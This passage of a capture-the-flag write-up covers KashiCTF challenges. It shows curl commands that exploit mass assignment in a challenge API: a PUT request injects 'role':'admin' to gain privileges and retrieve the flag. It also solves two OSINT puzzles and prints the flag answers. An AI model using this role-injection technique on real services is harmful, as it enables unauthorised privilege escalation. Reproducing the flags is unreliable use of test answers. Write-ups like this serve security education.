"operationId": "get_flag_flag__username__get",
"parameters": [
{
"name": "username",
"in": "path",
"required": true,
"schema": {
"type": "string",
"title": "Username"
}
}
],
"responses": {
"200": {
"description": "Successful Response",
"content": {
"application/json": {
"schema": {}
}
}
},
"422": {
"description": "Validation Error",
"content": {
"application/json": {
"schema": {
"$ref": "#/components/schemas/HTTPValidationError"
}
}
}
}
}
}
}
},
"components": {
"schemas": {
"HTTPValidationError": {
"properties": {
"detail": {
"items": {
"$ref": "#/components/schemas/ValidationError"
},
"type": "array",
"title": "Detail"
}
},
"type": "object",
"title": "HTTPValidationError"
},
"UserCreate": {
"properties": {
"fname": {
"type": "string",
"title": "Fname"
},
"lname": {
"type": "string",
"title": "Lname"
},
"email": {
"type": "string",
"title": "Email"
},
"gender": {
"type": "string",
"title": "Gender"
}
},
"type": "object",
"required": [
"fname",
"lname",
"email",
"gender"
],
"title": "UserCreate"
},
"ValidationError": {
"properties": {
"loc": {
"items": {
"anyOf": [
{
"type": "string"
},
{
"type": "integer"
}
]
},
"type": "array",
"title": "Location"
},
"msg": {
"type": "string",
"title": "Message"
},
"type": {
"type": "string",
"title": "Error Type"
}
},
"type": "object",
"required": [
"loc",
"msg",
"type"
],
"title": "ValidationError"
}
}
}
}
The OpenAPI
JSON response revealed the available routes, including:
GET /get/{username}
→ Retrieves user detailsPOST /create/{username}
→ Creates a new userPUT /update/{username}
→ Updates user detailsGET /flag/{username}
→ Fetches a flag for a given username (likely the target)
Here’s the work-flow, create-user → update role → get flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
└─$ curl -X POST "https://kashictf.iitbhucybersec.in:26096/create/hacker"
-H "Content-Type: application/json" -d '{
"fname":"John","lname":"Doe","email":"john.doe@example.com","gender":"male"}'
{"message":"User created!"}
┌──(abu㉿Abuntu)-[/mnt/c]
└─$ curl -X PUT "https://kashictf.iitbhucybersec.in:26096/update/hacker"
-H "Content-Type: application/json" -d '{"fname":"John","lname":"Doe","email":"john.doe@example.com","gender":"admin"}'
{"message":"User created!"}
┌──(abu㉿Abuntu)-[/mnt/c]
└─$ curl -X PUT "https://kashictf.iitbhucybersec.in:26096/update/hacker" \
-H "Content-Type: application/json" \ -d '{"fname":"John","lname":"Doe","email":"john.doe@example.com","role":"admin"}'
{"message":"User created!"}
# Yes! for some reason I had to do this twice maybe something with the gender/role attribute
┌──(abu㉿Abuntu)-[/mnt/c]
└─$ curl -X GET https://kashictf.iitbhucybersec.in:26096/flag/hacker
{"message":"KashiCTF{m455_4551gnm3n7_ftw_GutwgPbLC}"}
Flag: KashiCTF{m455_4551gnm3n7_ftw_GutwgPbLC}
Open Source Intelligence
Old Diner
My friend once visited this place that served ice cream with coke. He said he had the best Greek omlette of his life and called it a very American experience. Can you find the name of the diner and the amount he paid?
Flag Format: KashiCTF{Name_of_Diner_Amount}
For clarification on the flag format The diner’s name is in title case with spaces replaced by underscores. The amount is without currency sign, and in decimal, correct to two decimal places, i.e. KashiCTF{Full_Diner_Name_XX.XX}
For this challenge, finding the diner in question is quite easy, as I instantly got what they were referring as it’s common if you’re some what active in social media.
Lexington Candy Shop · 1226 Lexington Ave, New York, NY 10028
It’s indeed Lexington Candy Shop
.
The real challenge comes in finding the bill. At first, we all would instinctively look for the menu for Greek Omlette.
Which will about to either 17.95
or the WW Favorite one with 19.50
, but both of them are incorrect. Then I about looking at different platforms like Instagram, Twitter, Facebook, looking at different reviews and keeping and eye out for Greek Omlette. Nothing good turned up. Anyways here are some kind-off interesting finds.
Lexington Candy Shop on Twitter / X
Still nothing, and here is where most of us would’ve been stuck. Then big-wave, Trip-Advisor
. This came to mind as, in the reviews apparently the waiters are rude to tourists and so on. And within 2 minutes of digging, found the target!
LCS, New York City - Upper East Side - Menu, Prices & Restaurant Reviews - Tripadvisor
Searching on the reviews with the keywork Greek
, the very first review will get us the bill we’re looking for.
Right on with the challenge description, with the Greek Omlette and American experience.
In the check, we can see that the person had a total of 41.65
, which is the correct amount.
Flag: KashiCTF{Lexington_Candy_Shop_41.65}
Kings
Did you know the cosmic weapons like this? I found similar example of such weapons on the net and it was even weirder. This ruler’s court artist once drew the most accurate painting of a now extinct bird. Can you tell me the coordinates upto 4 decimal places of the place where this painting is right now.
Flag Format: KashiCTF{XX.XXXX_YY.YYYY}
State Hermitage Museum · Palace Square, 2, St Petersburg, Russia, 190000
Flag: KashiCTF{59.9399_30.3149}
Peace!